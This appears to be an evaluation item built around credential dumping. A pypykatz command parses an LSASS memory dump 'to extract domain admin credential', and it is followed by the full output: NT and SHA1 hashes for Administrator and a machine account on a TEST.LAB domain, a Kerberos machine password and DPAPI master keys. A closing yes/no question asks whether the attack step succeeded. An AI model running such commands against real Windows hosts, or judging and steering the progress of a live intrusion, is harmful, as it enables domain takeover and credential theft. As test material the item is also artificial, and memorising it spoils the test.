Payload: `python3 -m pypykatz lsa minidump ./lsass.dmp`

Purpose: To extract domain admin credential from dump file.

Result: FILE: ======== ./lsass.dmp =======
== LogonSession ==
authentication_id 1539518754 (5bc33122)
session_id 1
username Administrator
domainname TEST
logon_server SENSITIVE-DC
logon_time 2024-10-16T05:54:30.494780+00:00
sid S-1-5-21-2271838730-795176997-3441160821-500
luid 1539518754
	== MSV ==
		Username: Administrator
		Domain: TEST
		LM: NA
		NT: cb80658eed89f3653eb8d260ae02d3e2
		SHA1: 6a7eb6b6dddc9bcb66b281437430191098e28eb1
		DPAPI: 1e18eaec0c50d1696b989266722eb81100000000
	== WDIGEST [5bc33122]==
		username Administrator
		domainname TEST
		password None
		password (hex)
	== Kerberos ==
		Username: Administrator
		Domain: TEST.LAB
	== WDIGEST [5bc33122]==
		username Administrator
		domainname TEST
		password None
		password (hex)
	== DPAPI [5bc33122]==
		luid 1539518754
		key_guid 4500498f-2514-4795-9543-646cdd14af80
		masterkey 66f039d5917074e8c16ceb7cc954ee3d1ab5751c613916d893560b57c6d68e1dcf374a6973670da0c27812c836f38e7fffa3a2dd6f97994b3b82c35cc6e52dfa
		sha1_masterkey 7bd62003aa05d6eee50b9bcc9d0b1fc587f74847

== LogonSession ==
authentication_id 113768 (1bc68)
session_id 0
username UIFlowService
domainname NT SERVICE
logon_server 
logon_time 2024-10-09T11:36:18.177829+00:00
sid S-1-5-80-3017052307-2994996872-1615411526-3164924635-3391446484
luid 113768
	== MSV ==
		Username: IT-EP-2$
		Domain: TEST
		LM: NA
		NT: 27f8bbc152eef8c3f3967608d9fa95b6
		SHA1: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
		DPAPI: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
	== WDIGEST [1bc68]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)
	== Kerberos ==
		Username: IT-EP-2$
		Domain: test.lab
		Password: 552bed7fc25fc625016ca5c95b6e24a5a62210d2c3cd8b3c1f62eb3abc55ae973f56e08497792df6e94fa9a14ad2fd384538137830264549481a0fb617309c8107dd0d9332e9939b2295df79a5312ddc96e6bb6b7291a8bf8b4fa47bb9d8c8eca7a690755e58a594b3fd74449d941657491900d37b19e0a792a2b6eb8d4d82f6041c93fbf90dc33c3557951afb55ce71d3555ba9f7482285de613774705a2b017c208a7842612e8c006c969e10558a3c5db19ece1f50906dbed5db865b3acefd2700f76d4344369e339417634e114ce0afd642adccf45f819f410862b9245d5ee0a78ee1b07b9ec75b1cf3b1c103a64a
		password (hex)552bed7fc25fc625016ca5c95b6e24a5a62210d2c3cd8b3c1f62eb3abc55ae973f56e08497792df6e94fa9a14ad2fd384538137830264549481a0fb617309c8107dd0d9332e9939b2295df79a5312ddc96e6bb6b7291a8bf8b4fa47bb9d8c8eca7a690755e58a594b3fd74449d941657491900d37b19e0a792a2b6eb8d4d82f6041c93fbf90dc33c3557951afb55ce71d3555ba9f7482285de613774705a2b017c208a7842612e8c006c969e10558a3c5db19ece1f50906dbed5db865b3acefd2700f76d4344369e339417634e114ce0afd642adccf45f819f410862b9245d5ee0a78ee1b07b9ec75b1cf3b1c103a64a
	== WDIGEST [1bc68]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)
	== DPAPI [1bc68]==
		luid 113768
		key_guid 8f025b9b-21f0-4c40-add3-ede57b53ed49
		masterkey 5df2821d8ce999a4dfc25cf34c8a50d7b2518471edb0780d511a4c340ac7a3da88d766c7e33604b188c2a424188c1806d602f005fff6981294c6d221a366115b
		sha1_masterkey 079b505cfb9c7a47978f5f1fc971c690b4abbe45

== LogonSession ==
authentication_id 997 (3e5)
session_id 0
username LOCAL SERVICE
domainname NT AUTHORITY
logon_server 
logon_time 2024-10-09T11:36:16.943454+00:00
sid S-1-5-19
luid 997
	== Kerberos ==
		Username: 
		Domain: 

== LogonSession ==
authentication_id 64540 (fc1c)
session_id 1
username DWM-1
domainname Window Manager
logon_server 
logon_time 2024-10-09T11:36:16.818456+00:00
sid S-1-5-90-0-1
luid 64540
	== MSV ==
		Username: IT-EP-2$
		Domain: TEST
		LM: NA
		NT: 27f8bbc152eef8c3f3967608d9fa95b6
		SHA1: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
		DPAPI: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
	== WDIGEST [fc1c]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)
	== Kerberos ==
		Username: IT-EP-2$
		Domain: test.lab
		Password: 552bed7fc25fc625016ca5c95b6e24a5a62210d2c3cd8b3c1f62eb3abc55ae973f56e08497792df6e94fa9a14ad2fd384538137830264549481a0fb617309c8107dd0d9332e9939b2295df79a5312ddc96e6bb6b7291a8bf8b4fa47bb9d8c8eca7a690755e58a594b3fd74449d941657491900d37b19e0a792a2b6eb8d4d82f6041c93fbf90dc33c3557951afb55ce71d3555ba9f7482285de613774705a2b017c208a7842612e8c006c969e10558a3c5db19ece1f50906dbed5db865b3acefd2700f76d4344369e339417634e114ce0afd642adccf45f819f410862b9245d5ee0a78ee1b07b9ec75b1cf3b1c103a64a
		password (hex)552bed7fc25fc625016ca5c95b6e24a5a62210d2c3cd8b3c1f62eb3abc55ae973f56e08497792df6e94fa9a14ad2fd384538137830264549481a0fb617309c8107dd0d9332e9939b2295df79a5312ddc96e6bb6b7291a8bf8b4fa47bb9d8c8eca7a690755e58a594b3fd74449d941657491900d37b19e0a792a2b6eb8d4d82f6041c93fbf90dc33c3557951afb55ce71d3555ba9f7482285de613774705a2b017c208a7842612e8c006c969e10558a3c5db19ece1f50906dbed5db865b3acefd2700f76d4344369e339417634e114ce0afd642adccf45f819f410862b9245d5ee0a78ee1b07b9ec75b1cf3b1c103a64a
	== WDIGEST [fc1c]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)

== LogonSession ==
authentication_id 996 (3e4)
session_id 0
username IT-EP-2$
domainname TEST
logon_server 
logon_time 2024-10-09T11:36:16.443454+00:00
sid S-1-5-20
luid 996
	== MSV ==
		Username: IT-EP-2$
		Domain: TEST
		LM: NA
		NT: 27f8bbc152eef8c3f3967608d9fa95b6
		SHA1: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
		DPAPI: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
	== WDIGEST [3e4]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)
	== Kerberos ==
		Username: it-ep-2$
		Domain: TEST.LAB
	== WDIGEST [3e4]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)

== LogonSession ==
authentication_id 43032 (a818)
session_id 0
username UMFD-0
domainname Font Driver Host
logon_server 
logon_time 2024-10-09T11:36:16.240329+00:00
sid S-1-5-96-0-0
luid 43032
	== MSV ==
		Username: IT-EP-2$
		Domain: TEST
		LM: NA
		NT: 27f8bbc152eef8c3f3967608d9fa95b6
		SHA1: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
		DPAPI: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
	== WDIGEST [a818]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)
	== Kerberos ==
		Username: IT-EP-2$
		Domain: test.lab
		Password: 552bed7fc25fc625016ca5c95b6e24a5a62210d2c3cd8b3c1f62eb3abc55ae973f56e08497792df6e94fa9a14ad2fd384538137830264549481a0fb617309c8107dd0d9332e9939b2295df79a5312ddc96e6bb6b7291a8bf8b4fa47bb9d8c8eca7a690755e58a594b3fd74449d941657491900d37b19e0a792a2b6eb8d4d82f6041c93fbf90dc33c3557951afb55ce71d3555ba9f7482285de613774705a2b017c208a7842612e8c006c969e10558a3c5db19ece1f50906dbed5db865b3acefd2700f76d4344369e339417634e114ce0afd642adccf45f819f410862b9245d5ee0a78ee1b07b9ec75b1cf3b1c103a64a
		password (hex)552bed7fc25fc625016ca5c95b6e24a5a62210d2c3cd8b3c1f62eb3abc55ae973f56e08497792df6e94fa9a14ad2fd384538137830264549481a0fb617309c8107dd0d9332e9939b2295df79a5312ddc96e6bb6b7291a8bf8b4fa47bb9d8c8eca7a690755e58a594b3fd74449d941657491900d37b19e0a792a2b6eb8d4d82f6041c93fbf90dc33c3557951afb55ce71d3555ba9f7482285de613774705a2b017c208a7842612e8c006c969e10558a3c5db19ece1f50906dbed5db865b3acefd2700f76d4344369e339417634e114ce0afd642adccf45f819f410862b9245d5ee0a78ee1b07b9ec75b1cf3b1c103a64a
	== WDIGEST [a818]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)

== LogonSession ==
authentication_id 42962 (a7d2)
session_id 1
username UMFD-1
domainname Font Driver Host
logon_server 
logon_time 2024-10-09T11:36:16.224713+00:00
sid S-1-5-96-0-1
luid 42962
	== MSV ==
		Username: IT-EP-2$
		Domain: TEST
		LM: NA
		NT: 27f8bbc152eef8c3f3967608d9fa95b6
		SHA1: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
		DPAPI: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
	== WDIGEST [a7d2]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)
	== Kerberos ==
		Username: IT-EP-2$
		Domain: test.lab
		Password: 552bed7fc25fc625016ca5c95b6e24a5a62210d2c3cd8b3c1f62eb3abc55ae973f56e08497792df6e94fa9a14ad2fd384538137830264549481a0fb617309c8107dd0d9332e9939b2295df79a5312ddc96e6bb6b7291a8bf8b4fa47bb9d8c8eca7a690755e58a594b3fd74449d941657491900d37b19e0a792a2b6eb8d4d82f6041c93fbf90dc33c3557951afb55ce71d3555ba9f7482285de613774705a2b017c208a7842612e8c006c969e10558a3c5db19ece1f50906dbed5db865b3acefd2700f76d4344369e339417634e114ce0afd642adccf45f819f410862b9245d5ee0a78ee1b07b9ec75b1cf3b1c103a64a
		password (hex)552bed7fc25fc625016ca5c95b6e24a5a62210d2c3cd8b3c1f62eb3abc55ae973f56e08497792df6e94fa9a14ad2fd384538137830264549481a0fb617309c8107dd0d9332e9939b2295df79a5312ddc96e6bb6b7291a8bf8b4fa47bb9d8c8eca7a690755e58a594b3fd74449d941657491900d37b19e0a792a2b6eb8d4d82f6041c93fbf90dc33c3557951afb55ce71d3555ba9f7482285de613774705a2b017c208a7842612e8c006c969e10558a3c5db19ece1f50906dbed5db865b3acefd2700f76d4344369e339417634e114ce0afd642adccf45f819f410862b9245d5ee0a78ee1b07b9ec75b1cf3b1c103a64a
	== WDIGEST [a7d2]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)

== LogonSession ==
authentication_id 41652 (a2b4)
session_id 0
username 
domainname 
logon_server 
logon_time 2024-10-09T11:36:16.068455+00:00
sid None
luid 41652
	== MSV ==
		Username: IT-EP-2$
		Domain: TEST
		LM: NA
		NT: 27f8bbc152eef8c3f3967608d9fa95b6
		SHA1: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad
		DPAPI: b726478f7e51b3c23fcfaa0335b93c0ef61fb4ad

== LogonSession ==
authentication_id 999 (3e7)
session_id 0
username IT-EP-2$
domainname TEST
logon_server 
logon_time 2024-10-09T11:36:16.021613+00:00
sid S-1-5-18
luid 999
	== WDIGEST [3e7]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)
	== Kerberos ==
		Username: it-ep-2$
		Domain: TEST.LAB
	== WDIGEST [3e7]==
		username IT-EP-2$
		domainname TEST
		password None
		password (hex)
	== DPAPI [3e7]==
		luid 999
		key_guid bdba25ce-60c3-4414-bd18-0b98d962eb85
		masterkey b279a08ad01bf38093fb2c2f6abd5196b6ba72b59d9438d9e20fa70485d3ee562df3531e6bd31c7dd6f7d02f894008d12aa698fbb4db9b9ff69e66aff5be08a4
		sha1_masterkey 9fbf4179ab2224ecc9d476594f9983bb7e5f4467
	== DPAPI [3e7]==
		luid 999
		key_guid 01705590-a6ad-4d75-80d4-eaf6ca677057
		masterkey 83918b1017dda751f483ec0aea75626afd9c14e46037e5acad9792cdd93e7188ebf7274799c8aea6550e591bddf8cde6f8d37a5a1a7ea0dc7b5ee97341fd488e
		sha1_masterkey 7507cfc9bd9daf49824393ddfc918a4e1dae1fe0
	== DPAPI [3e7]==
		luid 999
		key_guid 18e1fd49-5ad2-438e-b7b6-80c3b70147be
		masterkey ac934ece2aac8fe7fdb3a32d09cb07f642f4965fb8e473db7b3889bfc77e3580ab6aded09cea9f0bc3531cc14a7bccacff3bc06fc55fe5db375702f6725b50a3
		sha1_masterkey 87b58e3b98dbceb265921d9ce4ab15d33e10a2c7
	== DPAPI [3e7]==
		luid 999
		key_guid edfbd37a-ecfd-4154-8548-271d24c2c327
		masterkey e931949ed38611bc58cf82bc2d4ce57dac1d84eae06a0b137053cd3c34083fc9b582566f5a2a5b1a1cc3baa4df0cd6ee8ccee5cf7b5f91df2e214e6f0a103e5a
		sha1_masterkey 38ad82763bf62c6a79c24b204745c424ff4139c1
	== DPAPI [3e7]==
		luid 999
		key_guid 98e7f77d-8897-4d55-935d-61f8a68c56ec
		masterkey 83e2dd87763675a91791b639e78f4a64112b38767f8f040c08db975e208149f235a7198869de5801563ddf369d83c844e0d7d6a3cd93209e6e0ca50b7753e797
		sha1_masterkey 3ae4472b8885e6e3a54358c4f5228ba26164b256



Based on the execution result, did it achieve the intended purpose? Please respond with '**yes**' or '**no**'.